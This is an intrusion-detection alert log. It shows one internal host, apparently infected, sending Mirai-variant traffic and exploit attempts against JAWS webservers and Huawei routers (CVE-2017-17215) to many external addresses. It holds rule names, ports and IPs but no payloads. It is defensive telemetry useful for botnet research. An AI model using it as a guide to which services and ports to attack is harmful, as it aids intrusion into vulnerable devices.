2024-12-03T22:12:35.770181+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35514	135.233.70.77	80	TCP
2024-12-03T22:12:35.770181+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35514	135.233.70.77	80	TCP
2024-12-03T22:12:35.770307+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50784	42.11.204.97	80	TCP
2024-12-03T22:12:35.770307+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50784	42.11.204.97	80	TCP
2024-12-03T22:12:35.770435+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35938	73.136.173.189	80	TCP
2024-12-03T22:12:35.770435+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35938	73.136.173.189	80	TCP
2024-12-03T22:12:35.770549+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40548	39.128.214.130	80	TCP
2024-12-03T22:12:35.770549+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40548	39.128.214.130	80	TCP
2024-12-03T22:12:35.770667+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43368	18.59.18.252	80	TCP
2024-12-03T22:12:35.770667+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43368	18.59.18.252	80	TCP
2024-12-03T22:12:35.800236+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46758	37.141.241.117	80	TCP
2024-12-03T22:12:35.800236+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46758	37.141.241.117	80	TCP
2024-12-03T22:12:35.801659+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59590	152.72.179.70	80	TCP
2024-12-03T22:12:35.801659+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59590	152.72.179.70	80	TCP
2024-12-03T22:12:35.931190+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41740	212.175.168.187	80	TCP
2024-12-03T22:12:35.931190+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41740	212.175.168.187	80	TCP
2024-12-03T22:12:35.962496+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47780	205.37.173.57	80	TCP
2024-12-03T22:12:35.962496+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47780	205.37.173.57	80	TCP
2024-12-03T22:12:36.694298+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46524	23.7.50.118	80	TCP
2024-12-03T22:12:36.694298+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46524	23.7.50.118	80	TCP
2024-12-03T22:12:36.940321+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54024	41.28.40.83	37215	TCP
2024-12-03T22:12:36.971618+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55274	41.130.208.214	37215	TCP
2024-12-03T22:12:36.987442+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59914	41.63.205.118	37215	TCP
2024-12-03T22:12:36.987450+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36712	60.201.19.188	80	TCP
2024-12-03T22:12:36.987450+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36712	60.201.19.188	80	TCP
2024-12-03T22:12:37.002924+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41194	156.109.76.75	37215	TCP
2024-12-03T22:12:37.056251+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36694	197.140.240.66	37215	TCP
2024-12-03T22:12:37.056449+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54854	156.75.215.82	37215	TCP
2024-12-03T22:12:37.056451+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52008	41.41.149.191	37215	TCP
2024-12-03T22:12:37.071789+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55070	197.224.105.5	37215	TCP
2024-12-03T22:12:37.087549+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55874	156.57.99.217	37215	TCP
2024-12-03T22:12:37.087700+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43026	197.16.55.219	37215	TCP
2024-12-03T22:12:37.096757+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35678	41.212.21.37	37215	TCP
2024-12-03T22:12:37.096991+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55090	41.40.82.254	37215	TCP
2024-12-03T22:12:37.097121+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40832	41.187.39.111	37215	TCP
2024-12-03T22:12:37.119746+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59634	197.145.144.237	37215	TCP
2024-12-03T22:12:38.056067+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36628	197.179.24.27	37215	TCP
2024-12-03T22:12:38.071810+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53184	156.237.250.152	37215	TCP
2024-12-03T22:12:38.071930+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37892	197.217.190.191	37215	TCP
2024-12-03T22:12:38.087422+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48318	197.54.206.21	37215	TCP
2024-12-03T22:12:38.087759+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	32970	156.107.65.215	37215	TCP
2024-12-03T22:12:38.096700+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49406	41.20.69.189	37215	TCP
2024-12-03T22:12:38.103545+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36466	156.212.66.14	37215	TCP
2024-12-03T22:12:38.118694+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46026	41.164.91.246	37215	TCP
2024-12-03T22:12:38.127869+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56072	41.42.222.58	37215	TCP
2024-12-03T22:12:38.143573+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33802	197.99.4.179	37215	TCP
2024-12-03T22:12:38.306614+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41436	41.222.216.96	37215	TCP
2024-12-03T22:12:38.322060+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36914	156.60.153.167	37215	TCP
2024-12-03T22:12:38.337852+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34656	156.231.98.52	37215	TCP
2024-12-03T22:12:38.338069+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57502	197.70.196.68	37215	TCP
2024-12-03T22:12:38.338237+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42312	197.5.175.77	37215	TCP
2024-12-03T22:12:38.338379+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43540	197.51.163.110	37215	TCP
2024-12-03T22:12:38.346854+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47934	197.242.130.218	37215	TCP
2024-12-03T22:12:38.347254+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43854	156.97.174.31	37215	TCP
2024-12-03T22:12:38.347452+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35432	156.226.98.191	37215	TCP
2024-12-03T22:12:38.378705+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53468	41.166.86.110	37215	TCP
2024-12-03T22:12:38.378708+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56406	156.233.201.74	37215	TCP
2024-12-03T22:12:38.393857+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35634	197.78.220.212	37215	TCP
2024-12-03T22:12:38.962364+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40434	198.200.251.230	80	TCP
2024-12-03T22:12:38.962364+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40434	198.200.251.230	80	TCP
2024-12-03T22:12:38.987667+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	32964	197.225.125.3	37215	TCP
2024-12-03T22:12:39.034306+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49882	116.118.252.255	80	TCP
2024-12-03T22:12:39.034306+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49882	116.118.252.255	80	TCP
2024-12-03T22:12:39.034339+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43784	57.32.48.60	80	TCP
2024-12-03T22:12:39.034339+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43784	57.32.48.60	80	TCP
2024-12-03T22:12:39.087585+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38944	216.186.45.129	80	TCP
2024-12-03T22:12:39.087585+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38944	216.186.45.129	80	TCP
2024-12-03T22:12:39.143558+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49332	27.198.248.50	80	TCP
2024-12-03T22:12:39.143558+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49332	27.198.248.50	80	TCP
2024-12-03T22:12:39.774050+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36360	156.227.60.117	37215	TCP
2024-12-03T22:12:39.828881+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42296	2.17.47.14	80	TCP
2024-12-03T22:12:39.828881+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42296	2.17.47.14	80	TCP
2024-12-03T22:12:39.970110+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41536	196.10.195.126	80	TCP
2024-12-03T22:12:39.970110+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41536	196.10.195.126	80	TCP
2024-12-03T22:12:39.988468+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54038	133.176.28.20	80	TCP
2024-12-03T22:12:39.988468+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54038	133.176.28.20	80	TCP
2024-12-03T22:12:39.988677+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60106	92.93.110.239	80	TCP
2024-12-03T22:12:39.988677+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60106	92.93.110.239	80	TCP
2024-12-03T22:12:39.994710+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37034	134.51.244.29	80	TCP
2024-12-03T22:12:39.994710+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37034	134.51.244.29	80	TCP
2024-12-03T22:12:39.994870+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55266	173.155.65.136	80	TCP
2024-12-03T22:12:39.994870+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55266	173.155.65.136	80	TCP
2024-12-03T22:12:40.013415+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58528	1.120.211.250	80	TCP
2024-12-03T22:12:40.013415+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58528	1.120.211.250	80	TCP
2024-12-03T22:12:40.035916+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40960	110.75.151.43	80	TCP
2024-12-03T22:12:40.035916+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40960	110.75.151.43	80	TCP
2024-12-03T22:12:40.050438+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60878	153.140.51.36	80	TCP
2024-12-03T22:12:40.050438+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60878	153.140.51.36	80	TCP
2024-12-03T22:12:40.050708+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58850	80.1.35.158	80	TCP
2024-12-03T22:12:40.050708+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58850	80.1.35.158	80	TCP
2024-12-03T22:12:40.212515+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36514	141.34.237.240	80	TCP
2024-12-03T22:12:40.212515+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36514	141.34.237.240	80	TCP
2024-12-03T22:12:40.212590+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54760	213.111.50.173	80	TCP
2024-12-03T22:12:40.212590+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54760	213.111.50.173	80	TCP
2024-12-03T22:12:40.221589+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34660	81.197.186.7	80	TCP
2024-12-03T22:12:40.221589+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34660	81.197.186.7	80	TCP
2024-12-03T22:12:40.269132+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33652	123.28.98.167	80	TCP
2024-12-03T22:12:40.269132+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33652	123.28.98.167	80	TCP
2024-12-03T22:12:40.269200+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36184	149.188.174.146	80	TCP
2024-12-03T22:12:40.269200+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36184	149.188.174.146	80	TCP
2024-12-03T22:12:40.269358+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48156	171.191.211.64	80	TCP
2024-12-03T22:12:40.269358+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48156	171.191.211.64	80	TCP
2024-12-03T22:12:40.269454+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44816	117.98.62.127	80	TCP
2024-12-03T22:12:40.269454+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44816	117.98.62.127	80	TCP
2024-12-03T22:12:42.103057+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42948	102.116.177.15	80	TCP
2024-12-03T22:12:42.103057+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42948	102.116.177.15	80	TCP
2024-12-03T22:12:42.112417+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60388	153.87.223.212	80	TCP
2024-12-03T22:12:42.112417+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60388	153.87.223.212	80	TCP
2024-12-03T22:12:42.118798+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53124	144.176.136.168	80	TCP
2024-12-03T22:12:42.118798+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53124	144.176.136.168	80	TCP
2024-12-03T22:12:42.134456+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39856	94.39.115.73	80	TCP
2024-12-03T22:12:42.134456+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39856	94.39.115.73	80	TCP
2024-12-03T22:12:42.134564+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43698	207.74.138.131	80	TCP
2024-12-03T22:12:42.134564+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43698	207.74.138.131	80	TCP
2024-12-03T22:12:42.134727+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58286	99.199.49.186	80	TCP
2024-12-03T22:12:42.134727+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58286	99.199.49.186	80	TCP
2024-12-03T22:12:42.134842+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34858	219.68.49.134	80	TCP
2024-12-03T22:12:42.134842+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34858	219.68.49.134	80	TCP
2024-12-03T22:12:42.135015+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52916	43.196.74.78	80	TCP
2024-12-03T22:12:42.135015+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52916	43.196.74.78	80	TCP
2024-12-03T22:12:42.143588+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55074	99.114.238.186	80	TCP
2024-12-03T22:12:42.143588+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55074	99.114.238.186	80	TCP
2024-12-03T22:12:42.143829+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50752	71.248.30.211	80	TCP
2024-12-03T22:12:42.143829+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50752	71.248.30.211	80	TCP
2024-12-03T22:12:42.174889+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39090	78.130.163.26	80	TCP
2024-12-03T22:12:42.174889+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39090	78.130.163.26	80	TCP
2024-12-03T22:12:42.175001+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38350	57.54.54.26	80	TCP
2024-12-03T22:12:42.175001+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38350	57.54.54.26	80	TCP
2024-12-03T22:12:42.175028+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58270	107.131.39.22	80	TCP
2024-12-03T22:12:42.175028+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58270	107.131.39.22	80	TCP
2024-12-03T22:12:42.190779+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46836	24.81.6.17	80	TCP
2024-12-03T22:12:42.190779+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46836	24.81.6.17	80	TCP
2024-12-03T22:12:42.259660+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50124	156.113.62.174	37215	TCP
2024-12-03T22:12:42.337630+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	32938	156.236.199.77	37215	TCP
2024-12-03T22:12:42.353379+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36408	197.243.42.235	37215	TCP
2024-12-03T22:12:42.384337+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36788	197.51.86.112	37215	TCP
2024-12-03T22:12:42.393676+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51756	197.105.188.243	37215	TCP
2024-12-03T22:12:42.393760+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37430	41.134.210.9	37215	TCP
2024-12-03T22:12:42.393978+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51508	197.33.180.105	37215	TCP
2024-12-03T22:12:42.409482+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46262	156.143.47.126	37215	TCP
2024-12-03T22:12:42.409685+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41886	199.197.70.187	80	TCP
2024-12-03T22:12:42.409685+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41886	199.197.70.187	80	TCP
2024-12-03T22:12:42.424974+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55396	59.90.47.8	80	TCP
2024-12-03T22:12:42.424974+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55396	59.90.47.8	80	TCP
2024-12-03T22:12:42.440568+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39224	156.64.5.16	37215	TCP
2024-12-03T22:12:43.384579+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52300	34.173.215.70	80	TCP
2024-12-03T22:12:43.384579+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52300	34.173.215.70	80	TCP
2024-12-03T22:12:43.426970+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36468	78.69.203.63	80	TCP
2024-12-03T22:12:43.426970+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36468	78.69.203.63	80	TCP
2024-12-03T22:12:43.431611+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35202	126.177.64.140	80	TCP
2024-12-03T22:12:43.431611+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35202	126.177.64.140	80	TCP
2024-12-03T22:12:43.618422+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33084	156.242.190.180	37215	TCP
2024-12-03T22:12:43.618422+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53954	156.227.233.225	37215	TCP
2024-12-03T22:12:44.643826+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59040	156.75.243.159	37215	TCP
2024-12-03T22:12:44.759428+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47808	197.41.120.252	37215	TCP
2024-12-03T22:12:44.837746+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59468	41.236.158.22	37215	TCP
2024-12-03T22:12:44.868698+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56862	197.189.126.24	37215	TCP
2024-12-03T22:12:44.868862+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45642	156.106.148.167	37215	TCP
2024-12-03T22:12:44.915704+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52798	197.123.82.237	37215	TCP
2024-12-03T22:12:44.940763+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47702	156.11.254.131	37215	TCP
2024-12-03T22:12:45.261177+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60008	156.164.39.205	37215	TCP
2024-12-03T22:12:45.306260+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48102	41.34.112.7	37215	TCP
2024-12-03T22:12:45.306336+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39054	156.181.37.11	37215	TCP
2024-12-03T22:12:45.306463+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37314	156.200.0.235	37215	TCP
2024-12-03T22:12:45.315534+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37592	41.102.216.48	37215	TCP
2024-12-03T22:12:45.315600+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37494	197.189.12.174	37215	TCP
2024-12-03T22:12:45.315799+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44202	41.26.113.25	80	TCP
2024-12-03T22:12:45.315799+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44202	41.26.113.25	80	TCP
2024-12-03T22:12:45.330993+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36552	41.136.207.234	37215	TCP
2024-12-03T22:12:45.337575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40124	197.243.105.90	37215	TCP
2024-12-03T22:12:45.362430+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59444	41.149.63.234	37215	TCP
2024-12-03T22:12:45.618754+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53364	41.245.157.165	37215	TCP
2024-12-03T22:12:45.618950+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35058	41.73.217.38	37215	TCP
2024-12-03T22:12:45.619035+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48570	41.119.188.84	37215	TCP
2024-12-03T22:12:45.627962+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51590	41.48.105.37	37215	TCP
2024-12-03T22:12:45.634409+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45732	156.205.146.76	37215	TCP
2024-12-03T22:12:45.634435+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34340	156.224.135.35	37215	TCP
2024-12-03T22:12:45.634644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56150	156.65.1.76	37215	TCP
